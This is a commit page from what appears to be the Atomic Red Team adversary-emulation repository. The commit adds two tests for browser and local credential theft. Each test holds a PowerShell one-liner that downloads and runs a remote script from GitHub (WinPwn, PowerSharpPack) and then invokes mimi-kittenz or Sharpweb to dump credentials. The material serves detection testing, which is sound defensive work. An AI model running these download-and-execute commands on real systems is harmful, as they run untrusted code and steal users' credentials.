security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update T1555.003.yaml (#1949)

Browse Source 
* Update T1555.003.yaml

Loot local Credentials - Invoke-WCMDump technique via function of WinPwn

* Update T1555.003.yaml

added mimi-kittenz for extracting juicy info from memory and Sharpweb gathering Browser Credentials

* Update T1555.003.yaml

update

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
tlor89
2022-05-12 20:56:38 -05:00
committed by GitHub
parent 812f7dcbaa
commit 73f3c752a4
1 changed files with 20 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1555.003/T1555.003.yaml
+20 -1
View File
@@ -348,4 +348,23 @@ atomic_tests:
browserpwn -consoleoutput -noninteractive
cleanup_command: |-
rm .\System.Data.SQLite.dll -ErrorAction Ignore
name: powershell
name: powershell
- name: WinPwn - Loot local Credentials - mimi-kittenz
description: Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s
supported_platforms:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
kittenz -consoleoutput -noninteractive
name: powershell
- name: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials
description: PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
Invoke-Sharpweb -command "all"
name: powershell